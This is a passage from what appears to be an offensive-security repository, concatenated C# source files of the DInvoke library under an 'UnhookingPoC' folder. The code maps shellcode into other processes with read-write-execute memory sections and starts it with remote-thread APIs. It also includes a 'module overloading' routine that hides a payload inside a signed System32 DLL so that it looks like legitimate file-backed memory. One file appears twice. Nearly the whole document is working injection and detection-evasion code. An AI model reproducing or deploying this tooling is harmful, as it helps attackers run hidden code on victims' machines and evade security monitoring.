{ 42 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process), Address.GetType() }; 43 | 44 | try 45 | { 46 | // Get delegate to the overload of Allocate that supports the type of payload passed in 47 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype); 48 | 49 | // Dynamically invoke the appropriate Allocate overload 50 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process, Address }); 51 | } 52 | // If there is no such method 53 | catch (ArgumentNullException) 54 | { 55 | throw new PayloadTypeNotSupported(Payload.GetType()); 56 | } 57 | } 58 | 59 | /// 60 | /// Allocate the payload to the target process. 61 | /// 62 | /// The Wover (@TheRealWover) 63 | /// The payload to allocate to the target process. 64 | /// The target process. 65 | /// Base address of allocated memory within the target process's virtual memory space. 66 | public virtual IntPtr Allocate(PayloadType Payload, Process Process) 67 | { 68 | 69 | Type[] funcPrototype = new Type[] { Payload.GetType(), typeof(Process) }; 70 | 71 | try 72 | { 73 | // Get delegate to the overload of Allocate that supports the type of payload passed in 74 | MethodInfo allocate = this.GetType().GetMethod("Allocate", funcPrototype); 75 | 76 | // Dynamically invoke the appropriate Allocate overload 77 | return (IntPtr)allocate.Invoke(this, new object[] { Payload, Process }); 78 | } 79 | // If there is no such method 80 | catch (ArgumentNullException) 81 | { 82 | throw new PayloadTypeNotSupported(Payload.GetType()); 83 | } 84 | } 85 | } 86 | 87 | /// 88 | /// Allocates a payload to a target process using locally-written, remotely-copied shared memory sections. 89 | /// 90 | public class SectionMapAlloc : AllocationTechnique 91 | { 92 | // Publically accessible options 93 | 94 | public uint localSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE; 95 | public uint remoteSectionPermissions = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE; 96 | public uint sectionAttributes = Data.Win32.WinNT.SEC_COMMIT; 97 | 98 | /// 99 | /// Default constructor. 100 | /// 101 | public SectionMapAlloc() 102 | { 103 | DefineSupportedPayloadTypes(); 104 | } 105 | 106 | /// 107 | /// Constructor allowing options as arguments. 108 | /// 109 | public SectionMapAlloc(uint localPerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint remotePerms = Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, uint atts = Data.Win32.WinNT.SEC_COMMIT) 110 | { 111 | DefineSupportedPayloadTypes(); 112 | localSectionPermissions = localPerms; 113 | remoteSectionPermissions = remotePerms; 114 | sectionAttributes = atts; 115 | } 116 | 117 | /// 118 | /// States whether the payload is supported. 119 | /// 120 | /// The Wover (@TheRealWover) 121 | /// Payload that will be allocated. 122 | /// 123 | public override bool IsSupportedPayloadType(PayloadType Payload) 124 | { 125 | return supportedPayloads.Contains(Payload.GetType()); 126 | } 127 | 128 | /// 129 | /// Internal method for setting the supported payload types. Used in constructors. 130 | /// Update when new types of payloads are added. 131 | /// 132 | /// The Wover (@TheRealWover) 133 | internal override void DefineSupportedPayloadTypes() 134 | { 135 | //Defines the set of supported payload types. 136 | supportedPayloads = new Type[] { 137 | typeof(PICPayload) 138 | }; 139 | } 140 | 141 | /// 142 | /// Allocate the payload to the target process. Handles unknown payload types. 143 | /// 144 | /// The Wover (@TheRealWover) 145 | /// The payload to allocate to the target process. 146 | /// The target process. 147 | /// Base address of allocated memory within the target process's virtual memory space. 148 | public override IntPtr Allocate(PayloadType Payload, Process Process) 149 | { 150 | if (!IsSupportedPayloadType(Payload)) 151 | { 152 | throw new PayloadTypeNotSupported(Payload.GetType()); 153 | } 154 | return Allocate(Payload, Process, IntPtr.Zero); 155 | } 156 | 157 | /// 158 | /// Allocate the payload in the target process. 159 | /// 160 | /// The Wover (@TheRealWover) 161 | /// The PIC payload to allocate to the target process. 162 | /// The target process. 163 | /// The preferred address at which to allocate the payload in the target process. 164 | /// Base address of allocated memory within the target process's virtual memory space. 165 | public IntPtr Allocate(PICPayload Payload, Process Process, IntPtr PreferredAddress) 166 | { 167 | // Get a convenient handle for the target process. 168 | IntPtr procHandle = Process.Handle; 169 | 170 | // Create a section to hold our payload 171 | IntPtr sectionAddress = CreateSection((uint)Payload.Payload.Length, sectionAttributes); 172 | 173 | // Map a view of the section into our current process with RW permissions 174 | SectionDetails details = MapSection(Process.GetCurrentProcess().Handle, sectionAddress, 175 | localSectionPermissions, IntPtr.Zero, Convert.ToUInt32(Payload.Payload.Length)); 176 | 177 | // Copy the shellcode to the local view 178 | System.Runtime.InteropServices.Marshal.Copy(Payload.Payload, 0, details.baseAddr, Payload.Payload.Length); 179 | 180 | // Now that we are done with the mapped view in our own process, unmap it 181 | Data.Native.NTSTATUS result = UnmapSection(Process.GetCurrentProcess().Handle, details.baseAddr); 182 | 183 | // Now, map a view of the section to other process. It should already hold the payload. 184 | 185 | SectionDetails newDetails; 186 | 187 | if (PreferredAddress != IntPtr.Zero) 188 | { 189 | // Attempt to allocate at a preferred address. May not end up exactly at the specified location. 190 | // Refer to MSDN documentation on ZwMapViewOfSection for details. 191 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, PreferredAddress, (ulong)Payload.Payload.Length); 192 | } 193 | else 194 | { 195 | newDetails = MapSection(procHandle, sectionAddress, remoteSectionPermissions, IntPtr.Zero, (ulong)Payload.Payload.Length); 196 | } 197 | return newDetails.baseAddr; 198 | } 199 | 200 | /// 201 | /// Creates a new Section. 202 | /// 203 | /// The Wover (@TheRealWover) 204 | /// Max size of the Section. 205 | /// Section attributes (eg. Win32.WinNT.SEC_COMMIT). 206 | /// 207 | private static IntPtr CreateSection(ulong size, uint allocationAttributes) 208 | { 209 | // Create a pointer for the section handle 210 | IntPtr SectionHandle = new IntPtr(); 211 | ulong maxSize = size; 212 | 213 | Data.Native.NTSTATUS result = DynamicInvoke.Native.NtCreateSection( 214 | ref SectionHandle, 215 | 0x10000000, 216 | IntPtr.Zero, 217 | ref maxSize, 218 | Data.Win32.WinNT.PAGE_EXECUTE_READWRITE, 219 | allocationAttributes, 220 | IntPtr.Zero 221 | ); 222 | // Perform error checking on the result 223 | if (result < 0) 224 | { 225 | return IntPtr.Zero; 226 | } 227 | return SectionHandle; 228 | } 229 | 230 | /// 231 | /// Maps a view of a section to the target process. 232 | /// 233 | /// The Wover (@TheRealWover) 234 | /// Handle the process that the section will be mapped to. 235 | /// Handle to the section. 236 | /// What permissions to use on the view. 237 | /// Optional parameter to specify the address of where to map the view. 238 | /// Size of the view to map. Must be smaller than the max Section size. 239 | /// A struct containing address and size of the mapped view. 240 | public static SectionDetails MapSection(IntPtr procHandle, IntPtr sectionHandle, uint protection, IntPtr addr, ulong sizeData) 241 | { 242 | // Copied so that they may be passed by reference but the original value preserved 243 | IntPtr baseAddr = addr; 244 | ulong size = sizeData; 245 | 246 | uint disp = 2; 247 | uint alloc = 0; 248 | 249 | // Returns an NTSTATUS value 250 | Data.Native.NTSTATUS result = DynamicInvoke.Native.NtMapViewOfSection( 251 | sectionHandle, procHandle, 252 | ref baseAddr, 253 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 254 | ref size, disp, alloc, 255 | protection 256 | ); 257 | 258 | // Create a struct to hold the results. 259 | SectionDetails details = new SectionDetails(baseAddr, sizeData); 260 | 261 | return details; 262 | } 263 | 264 | 265 | /// 266 | /// Holds the data returned from NtMapViewOfSection. 267 | /// 268 | public struct SectionDetails 269 | { 270 | public IntPtr baseAddr; 271 | public ulong size; 272 | 273 | public SectionDetails(IntPtr addr, ulong sizeData) 274 | { 275 | baseAddr = addr; 276 | size = sizeData; 277 | } 278 | } 279 | 280 | /// 281 | /// Unmaps a view of a section from a process. 282 | /// 283 | /// The Wover (@TheRealWover) 284 | /// Process to which the view has been mapped. 285 | /// Address of the view (relative to the target process) 286 | /// 287 | public static Data.Native.NTSTATUS UnmapSection(IntPtr hProc, IntPtr baseAddr) 288 | { 289 | return DynamicInvoke.Native.NtUnmapViewOfSection(hProc, baseAddr); 290 | } 291 | } 292 | } 293 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/Injection/Execution.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Reflection; 4 | using System.Diagnostics; 5 | 6 | using DynamicInvoke = DInvoke.DynamicInvoke; 7 | 8 | namespace DInvoke.Injection 9 | { 10 | /// 11 | /// Base class for Injection strategies. 12 | /// 13 | public abstract class ExecutionTechnique 14 | { 15 | 16 | //An array containing a set of PayloadType objects that are supported. 17 | protected Type[] supportedPayloads; 18 | 19 | /// 20 | /// Informs objects using this technique whether or not it supports the type of a particular payload. 21 | /// 22 | /// The Wover (@TheRealWover) 23 | /// A payload. 24 | /// Whether or not the payload is of a supported type for this strategy. 25 | public abstract bool IsSupportedPayloadType(PayloadType payload); 26 | 27 | /// 28 | /// Internal method for setting the supported payload types. Used in constructors. 29 | /// 30 | /// The Wover (@TheRealWover) 31 | abstract internal void DefineSupportedPayloadTypes(); 32 | 33 | /// 34 | /// Inject and execute a payload in the target process using a specific allocation technique. 35 | /// 36 | /// The Wover (@TheRealWover) 37 | /// The type of payload to execute. 38 | /// The allocation technique to use. 39 | /// The target process. 40 | /// bool 41 | public bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, Process Process) 42 | { 43 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType(), Process.GetType()}; 44 | 45 | try 46 | { 47 | // Get delegate to the overload of Inject that supports the type of payload passed in 48 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); 49 | 50 | // Dynamically invoke the appropriate Allocate overload 51 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique, Process }); 52 | } 53 | // If there is no such method 54 | catch (ArgumentNullException) 55 | { 56 | throw new PayloadTypeNotSupported(Payload.GetType()); 57 | } 58 | } 59 | 60 | /// 61 | /// Execute a payload in the target process at a specified address. 62 | /// 63 | /// The Wover (@TheRealWover) 64 | /// The type of payload to execute. 65 | /// The base address of the payload. 66 | /// The target process. 67 | /// bool 68 | public virtual bool Inject(PayloadType Payload, IntPtr BaseAddress, Process Process) 69 | { 70 | Type[] funcPrototype = new Type[] { Payload.GetType(), BaseAddress.GetType(), Process.GetType() }; 71 | 72 | try 73 | { 74 | // Get delegate to the overload of Inject that supports the type of payload passed in 75 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); 76 | 77 | // Dynamically invoke the appropriate Allocate overload 78 | return (bool)inject.Invoke(this, new object[] { Payload, BaseAddress, Process }); 79 | } 80 | // If there is no such method 81 | catch (ArgumentNullException) 82 | { 83 | throw new PayloadTypeNotSupported(Payload.GetType()); 84 | } 85 | } 86 | 87 | /// 88 | /// Execute a payload in the current process using a specific allocation technique. 89 | /// 90 | /// The Wover (@TheRealWover) 91 | /// The type of payload to execute. 92 | /// The allocation technique to use. 93 | /// 94 | public virtual bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique) 95 | { 96 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType()}; 97 | 98 | try 99 | { 100 | // Get delegate to the overload of Inject that supports the type of payload passed in 101 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); 102 | 103 | // Dynamically invoke the appropriate Allocate overload 104 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique }); 105 | } 106 | // If there is no such method 107 | catch (ArgumentNullException) 108 | { 109 | throw new PayloadTypeNotSupported(Payload.GetType()); 110 | } 111 | } 112 | } 113 | 114 | 115 | /// 116 | /// Executes a payload in a remote process by creating a new thread. Allows the user to specify which API call to use for remote thread creation. 117 | /// 118 | public class RemoteThreadCreate : ExecutionTechnique 119 | { 120 | // Publically accessible options 121 | public bool suspended = false; 122 | public APIS api = APIS.NtCreateThreadEx; 123 | 124 | public enum APIS : int 125 | { 126 | NtCreateThreadEx = 0, 127 | // NtCreateThread = 1, // Not implemented 128 | RtlCreateUserThread = 2, 129 | CreateRemoteThread = 3 130 | }; 131 | 132 | // Handle of the new thread. Only valid after the thread has been created. 133 | public IntPtr handle = IntPtr.Zero; 134 | 135 | /// 136 | /// Default constructor. 137 | /// 138 | public RemoteThreadCreate() 139 | { 140 | DefineSupportedPayloadTypes(); 141 | } 142 | 143 | /// 144 | /// Constructor allowing options as arguments. 145 | /// 146 | public RemoteThreadCreate(bool susp = false, APIS varAPI = APIS.NtCreateThreadEx) 147 | { 148 | DefineSupportedPayloadTypes(); 149 | suspended = susp; 150 | api = varAPI; 151 | } 152 | 153 | /// 154 | /// States whether the payload is supported. 155 | /// 156 | /// The Wover (@TheRealWover) 157 | /// Payload that will be allocated. 158 | /// 159 | public override bool IsSupportedPayloadType(PayloadType Payload) 160 | { 161 | return supportedPayloads.Contains(Payload.GetType()); 162 | } 163 | 164 | /// 165 | /// Internal method for setting the supported payload types. Used in constructors. 166 | /// Update when new types of payloads are added. 167 | /// 168 | /// The Wover (@TheRealWover) 169 | internal override void DefineSupportedPayloadTypes() 170 | { 171 | // Defines the set of supported payload types. 172 | supportedPayloads = new Type[] { 173 | typeof(PICPayload) 174 | }; 175 | } 176 | 177 | public bool Inject(PICPayload Payload, AllocationTechnique AllocationTechnique, Process Process) 178 | { 179 | IntPtr baseAddr = AllocationTechnique.Allocate(Payload, Process); 180 | return Inject(Payload, baseAddr, Process); 181 | } 182 | 183 | /// 184 | /// Create a thread in the remote process. 185 | /// 186 | /// The Wover (@TheRealWover) 187 | /// The shellcode payload to execute in the target process. 188 | /// The address of the shellcode in the target process. 189 | /// The target process to inject into. 190 | /// 191 | public bool Inject(PICPayload Payload, IntPtr BaseAddress, Process Process) 192 | { 193 | IntPtr threadHandle = new IntPtr(); 194 | Data.Native.NTSTATUS result = Data.Native.NTSTATUS.Unsuccessful; 195 | 196 | if (api == APIS.NtCreateThreadEx) 197 | { 198 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. 199 | result = DynamicInvoke.Native.NtCreateThreadEx( 200 | ref threadHandle, 201 | Data.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, 202 | IntPtr.Zero, 203 | Process.Handle, BaseAddress, IntPtr.Zero, 204 | suspended, 0, 0, 0, IntPtr.Zero 205 | ); 206 | } 207 | else if (api == APIS.RtlCreateUserThread) 208 | { 209 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. 210 | result = DynamicInvoke.Native.RtlCreateUserThread( 211 | Process.Handle, 212 | IntPtr.Zero, 213 | suspended, 214 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 215 | BaseAddress, 216 | IntPtr.Zero, ref threadHandle, IntPtr.Zero 217 | ); 218 | } 219 | else if (api == APIS.CreateRemoteThread) 220 | { 221 | uint flags = suspended ? (uint)0x00000004 : 0; 222 | IntPtr threadid = new IntPtr(); 223 | 224 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. 225 | threadHandle = DynamicInvoke.Win32.CreateRemoteThread( 226 | Process.Handle, 227 | IntPtr.Zero, 228 | 0, 229 | BaseAddress, 230 | IntPtr.Zero, 231 | flags, 232 | ref threadid 233 | ); 234 | 235 | if (threadHandle == IntPtr.Zero) 236 | { 237 | return false; 238 | } 239 | handle = threadHandle; 240 | return true; 241 | } 242 | 243 | // If successful, return the handle to the new thread. Otherwise return NULL 244 | if (result != Data.Native.NTSTATUS.Success) 245 | { 246 | return false; 247 | } 248 | handle = threadHandle; 249 | return true; 250 | } 251 | } 252 | } 253 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/Injection/Execution.cs.orig: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Linq; 3 | using System.Reflection; 4 | using System.Diagnostics; 5 | 6 | using DynamicInvoke = DInvoke.DynamicInvoke; 7 | 8 | namespace DInvoke.Injection 9 | { 10 | /// 11 | /// Base class for Injection strategies. 12 | /// 13 | public abstract class ExecutionTechnique 14 | { 15 | 16 | //An array containing a set of PayloadType objects that are supported. 17 | protected Type[] supportedPayloads; 18 | 19 | /// 20 | /// Informs objects using this technique whether or not it supports the type of a particular payload. 21 | /// 22 | /// The Wover (@TheRealWover) 23 | /// A payload. 24 | /// Whether or not the payload is of a supported type for this strategy. 25 | public abstract bool IsSupportedPayloadType(PayloadType payload); 26 | 27 | /// 28 | /// Internal method for setting the supported payload types. Used in constructors. 29 | /// 30 | /// The Wover (@TheRealWover) 31 | abstract internal void DefineSupportedPayloadTypes(); 32 | 33 | /// 34 | /// Inject and execute a payload in the target process using a specific allocation technique. 35 | /// 36 | /// The Wover (@TheRealWover) 37 | /// The type of payload to execute. 38 | /// The allocation technique to use. 39 | /// The target process. 40 | /// bool 41 | public bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, Process Process) 42 | { 43 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType(), Process.GetType()}; 44 | 45 | try 46 | { 47 | // Get delegate to the overload of Inject that supports the type of payload passed in 48 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); 49 | 50 | // Dynamically invoke the appropriate Allocate overload 51 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique, Process }); 52 | } 53 | // If there is no such method 54 | catch (ArgumentNullException) 55 | { 56 | throw new PayloadTypeNotSupported(Payload.GetType()); 57 | } 58 | } 59 | 60 | /// 61 | /// Execute a payload in the target process at a specified address. 62 | /// 63 | /// The Wover (@TheRealWover) 64 | /// The type of payload to execute. 65 | /// The base address of the payload. 66 | /// The target process. 67 | /// bool 68 | public virtual bool Inject(PayloadType Payload, IntPtr BaseAddress, Process Process) 69 | { 70 | Type[] funcPrototype = new Type[] { Payload.GetType(), BaseAddress.GetType(), Process.GetType() }; 71 | 72 | try 73 | { 74 | // Get delegate to the overload of Inject that supports the type of payload passed in 75 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); 76 | 77 | // Dynamically invoke the appropriate Allocate overload 78 | return (bool)inject.Invoke(this, new object[] { Payload, BaseAddress, Process }); 79 | } 80 | // If there is no such method 81 | catch (ArgumentNullException) 82 | { 83 | throw new PayloadTypeNotSupported(Payload.GetType()); 84 | } 85 | } 86 | 87 | /// 88 | /// Execute a payload in the current process using a specific allocation technique. 89 | /// 90 | /// The Wover (@TheRealWover) 91 | /// The type of payload to execute. 92 | /// The allocation technique to use. 93 | /// 94 | public virtual bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique) 95 | { 96 | Type[] funcPrototype = new Type[] { Payload.GetType(), AllocationTechnique.GetType()}; 97 | 98 | try 99 | { 100 | // Get delegate to the overload of Inject that supports the type of payload passed in 101 | MethodInfo inject = this.GetType().GetMethod("Inject", funcPrototype); 102 | 103 | // Dynamically invoke the appropriate Allocate overload 104 | return (bool)inject.Invoke(this, new object[] { Payload, AllocationTechnique }); 105 | } 106 | // If there is no such method 107 | catch (ArgumentNullException) 108 | { 109 | throw new PayloadTypeNotSupported(Payload.GetType()); 110 | } 111 | } 112 | } 113 | 114 | 115 | /// 116 | /// Executes a payload in a remote process by creating a new thread. Allows the user to specify which API call to use for remote thread creation. 117 | /// 118 | public class RemoteThreadCreate : ExecutionTechnique 119 | { 120 | // Publically accessible options 121 | public bool suspended = false; 122 | public APIS api = APIS.NtCreateThreadEx; 123 | 124 | public enum APIS : int 125 | { 126 | NtCreateThreadEx = 0, 127 | // NtCreateThread = 1, // Not implemented 128 | RtlCreateUserThread = 2, 129 | CreateRemoteThread = 3 130 | }; 131 | 132 | // Handle of the new thread. Only valid after the thread has been created. 133 | public IntPtr handle = IntPtr.Zero; 134 | 135 | /// 136 | /// Default constructor. 137 | /// 138 | public RemoteThreadCreate() 139 | { 140 | DefineSupportedPayloadTypes(); 141 | } 142 | 143 | /// 144 | /// Constructor allowing options as arguments. 145 | /// 146 | public RemoteThreadCreate(bool susp = false, APIS varAPI = APIS.NtCreateThreadEx) 147 | { 148 | DefineSupportedPayloadTypes(); 149 | suspended = susp; 150 | api = varAPI; 151 | } 152 | 153 | /// 154 | /// States whether the payload is supported. 155 | /// 156 | /// The Wover (@TheRealWover) 157 | /// Payload that will be allocated. 158 | /// 159 | public override bool IsSupportedPayloadType(PayloadType Payload) 160 | { 161 | return supportedPayloads.Contains(Payload.GetType()); 162 | } 163 | 164 | /// 165 | /// Internal method for setting the supported payload types. Used in constructors. 166 | /// Update when new types of payloads are added. 167 | /// 168 | /// The Wover (@TheRealWover) 169 | internal override void DefineSupportedPayloadTypes() 170 | { 171 | // Defines the set of supported payload types. 172 | supportedPayloads = new Type[] { 173 | typeof(PICPayload) 174 | }; 175 | } 176 | 177 | public bool Inject(PICPayload Payload, AllocationTechnique AllocationTechnique, Process Process) 178 | { 179 | IntPtr baseAddr = AllocationTechnique.Allocate(Payload, Process); 180 | return Inject(Payload, baseAddr, Process); 181 | } 182 | 183 | /// 184 | /// Create a thread in the remote process. 185 | /// 186 | /// The Wover (@TheRealWover) 187 | /// The shellcode payload to execute in the target process. 188 | /// The address of the shellcode in the target process. 189 | /// The target process to inject into. 190 | /// 191 | public bool Inject(PICPayload Payload, IntPtr BaseAddress, Process Process) 192 | { 193 | IntPtr threadHandle = new IntPtr(); 194 | Data.Native.NTSTATUS result = Data.Native.NTSTATUS.Unsuccessful; 195 | 196 | if (api == APIS.NtCreateThreadEx) 197 | { 198 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. 199 | result = DynamicInvoke.Native.NtCreateThreadEx( 200 | ref threadHandle, 201 | Data.Win32.WinNT.ACCESS_MASK.SPECIFIC_RIGHTS_ALL | Data.Win32.WinNT.ACCESS_MASK.STANDARD_RIGHTS_ALL, 202 | IntPtr.Zero, 203 | Process.Handle, BaseAddress, IntPtr.Zero, 204 | suspended, 0, 0, 0, IntPtr.Zero 205 | ); 206 | } 207 | else if (api == APIS.RtlCreateUserThread) 208 | { 209 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. 210 | result = DynamicInvoke.Native.RtlCreateUserThread( 211 | Process.Handle, 212 | IntPtr.Zero, 213 | suspended, 214 | IntPtr.Zero, IntPtr.Zero, IntPtr.Zero, 215 | BaseAddress, 216 | IntPtr.Zero, ref threadHandle, IntPtr.Zero 217 | ); 218 | } 219 | else if (api == APIS.CreateRemoteThread) 220 | { 221 | uint flags = suspended ? (uint)0x00000004 : 0; 222 | IntPtr threadid = new IntPtr(); 223 | 224 | // Dynamically invoke NtCreateThreadEx to create a thread at the address specified in the target process. 225 | threadHandle = DynamicInvoke.Win32.CreateRemoteThread( 226 | Process.Handle, 227 | IntPtr.Zero, 228 | 0, 229 | BaseAddress, 230 | IntPtr.Zero, 231 | flags, 232 | ref threadid 233 | ); 234 | 235 | if (threadHandle == IntPtr.Zero) 236 | { 237 | return false; 238 | } 239 | handle = threadHandle; 240 | return true; 241 | } 242 | 243 | // If successful, return the handle to the new thread. Otherwise return NULL 244 | if (result != Data.Native.NTSTATUS.Success) 245 | { 246 | return false; 247 | } 248 | handle = threadHandle; 249 | return true; 250 | } 251 | } 252 | } 253 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/Injection/Injector.cs: -------------------------------------------------------------------------------- 1 | using System.Diagnostics; 2 | 3 | using DynamicInvoke = DInvoke.DynamicInvoke; 4 | 5 | namespace DInvoke.Injection 6 | { 7 | /// 8 | /// Provides static functions for performing injection using a combination of Allocation and Execution components. 9 | /// 10 | /// The Wover (@TheRealWover) 11 | public static class Injector 12 | { 13 | /// 14 | /// Inject a payload into a target process using a specified allocation and execution technique. 15 | /// 16 | /// The Wover (@TheRealWover) 17 | /// 18 | /// 19 | /// 20 | /// 21 | /// 22 | public static bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, ExecutionTechnique ExecutionTechnique, Process Process) 23 | { 24 | return ExecutionTechnique.Inject(Payload, AllocationTechnique, Process); 25 | } 26 | 27 | /// 28 | /// Inject a payload into the current process using a specified allocation and execution technique. 29 | /// 30 | /// 31 | /// 32 | /// 33 | /// 34 | public static bool Inject(PayloadType Payload, AllocationTechnique AllocationTechnique, ExecutionTechnique ExecutionTechnique) 35 | { 36 | return ExecutionTechnique.Inject(Payload, AllocationTechnique); 37 | } 38 | } 39 | } 40 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/Injection/Payload.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | using DynamicInvoke = DInvoke.DynamicInvoke; 4 | 5 | namespace DInvoke.Injection 6 | { 7 | /// 8 | /// Base class for all types of payloads. 9 | /// Variants are responsible for specifying what types of payloads they support. 10 | /// 11 | /// The Wover (@TheRealWover) 12 | public abstract class PayloadType 13 | { 14 | public byte[] Payload { get; private set; } 15 | 16 | // Constructor that requires the user to pass in the payload as a byte array. 17 | protected PayloadType(byte[] data) 18 | { 19 | Payload = data; 20 | } 21 | } 22 | 23 | /// 24 | /// Represents payloads that are position-independent-code. 25 | /// 26 | /// The Wover (@TheRealWover) 27 | public class PICPayload : PayloadType 28 | { 29 | // Declares the constructor as equivalent to that of the base class. 30 | public PICPayload(byte[] data) : base(data) { } 31 | } 32 | 33 | /// 34 | /// Exception thrown when the type of a payload is not supported by a injection variant. 35 | /// 36 | /// The Wover (@TheRealWover) 37 | public class PayloadTypeNotSupported : Exception 38 | { 39 | public PayloadTypeNotSupported() { } 40 | 41 | public PayloadTypeNotSupported(Type payloadType) : base(string.Format("Unsupported Payload type: {0}", payloadType.Name)) { } 42 | } 43 | } 44 | -------------------------------------------------------------------------------- /UnhookingPoC/DInvoke/DInvoke/ManualMap/Overload.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Diagnostics; 4 | using System.IO; 5 | using System.Linq; 6 | 7 | using Data = DInvoke.Data; 8 | using Utilities = DInvoke.Utilities; 9 | using DynamicInvoke = DInvoke.DynamicInvoke; 10 | 11 | namespace DInvoke.ManualMap 12 | { 13 | public class Overload 14 | { 15 | /// 16 | /// Locate a signed module with a minimum size which can be used for overloading. 17 | /// 18 | /// The Wover (@TheRealWover) 19 | /// Minimum module byte size. 20 | /// Whether to require that the module be legitimately signed. 21 | /// 22 | /// String, the full path for the candidate module if one is found, or an empty string if one is not found. 23 | /// 24 | public static string FindDecoyModule(long MinSize, bool LegitSigned = true) 25 | { 26 | string SystemDirectoryPath = Environment.GetEnvironmentVariable("WINDIR") + Path.DirectorySeparatorChar + "System32"; 27 | List files = new List(Directory.GetFiles(SystemDirectoryPath, "*.dll")); 28 | foreach (ProcessModule Module in Process.GetCurrentProcess().Modules) 29 | { 30 | if (files.Any(s => s.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase))) 31 | { 32 | files.RemoveAt(files.FindIndex(x => x.Equals(Module.FileName, StringComparison.OrdinalIgnoreCase))); 33 | } 34 | } 35 | 36 | //Pick a random candidate that meets the requirements 37 | 38 | Random r = new Random(); 39 | //List of candidates that have been considered and rejected 40 | List candidates = new List(); 41 | while (candidates.Count != files.Count) 42 | { 43 | //Iterate through the list of files randomly 44 | int rInt = r.Next(0, files.Count); 45 | string currentCandidate = files[rInt]; 46 | 47 | //Check that the size of the module meets requirements 48 | if (candidates.Contains(rInt) == false && 49 | new FileInfo(currentCandidate).Length >= MinSize) 50 | { 51 | //Check that the module meets signing requirements 52 | if (LegitSigned == true) 53 | { 54 | if (Utilities.Utilities.FileHasValidSignature(currentCandidate) == true) 55 | return currentCandidate; 56 | else 57 | candidates.Add(rInt); 58 | } 59 | else 60 | return currentCandidate; 61 | } 62 | candidates.Add(rInt); 63 | } 64 | return string.Empty; 65 | } 66 | 67 | /// 68 | /// Load a signed decoy module into memory, creating legitimate file-backed memory sections within the process. Afterwards overload that 69 | /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory. 70 | /// 71 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) 72 | /// Full path to the payload module on disk. 73 | /// Optional, full path the decoy module to overload in memory. 74 | /// PE.PE_MANUAL_MAP 75 | public static Data.PE.PE_MANUAL_MAP OverloadModule(string PayloadPath, string DecoyModulePath = null, bool LegitSigned = true) 76 | { 77 | // Get approximate size of Payload 78 | if (!File.Exists(PayloadPath)) 79 | { 80 | throw new InvalidOperationException("Payload filepath not found."); 81 | } 82 | byte[] Payload = File.ReadAllBytes(PayloadPath); 83 | 84 | return OverloadModule(Payload, DecoyModulePath, LegitSigned); 85 | } 86 | 87 | /// 88 | /// Load a signed decoy module into memory creating legitimate file-backed memory sections within the process. Afterwards overload that 89 | /// module by manually mapping a payload in it's place causing the payload to execute from what appears to be file-backed memory. 90 | /// 91 | /// The Wover (@TheRealWover), Ruben Boonen (@FuzzySec) 92 | /// Full byte array for the payload module. 93 | /// Optional, full path the decoy module to overload in memory. 94 | /// PE.PE_MANUAL_MAP 95 | public static Data.PE.PE_MANUAL_MAP OverloadModule(byte[] Payload, string DecoyModulePath = null, bool LegitSigned = true) 96 | { 97 | // Did we get a DecoyModule? 98 | if (!string.IsNullOrEmpty(DecoyModulePath)) 99 | { 100 | if (!File.Exists(DecoyModulePath)) 101 | { 102 | throw new InvalidOperationException("Decoy filepath not found."); 103 | } 104 | byte[] DecoyFileBytes = File.ReadAllBytes(DecoyModulePath); 105 | if (DecoyFileBytes.Length < Payload.Length) 106 | { 107 | throw new InvalidOperationException("Decoy module is too small to host the payload."); 108 | } 109 | } 110 | else 111 | { 112 | DecoyModulePath = FindDecoyModule(Payload.Length); 113 | if (string.IsNullOrEmpty(DecoyModulePath)) 114 | { 115 | throw new InvalidOperationException("Failed to find suitable decoy module."); 116 | } 117 | } 118 | 119 | // Map decoy from disk 120 | Data.PE.PE_MANUAL_MAP DecoyMetaData = Map.MapModuleFromDiskToSection(DecoyModulePath); 121 | IntPtr RegionSize = DecoyMetaData.PEINFO.Is32Bit ? 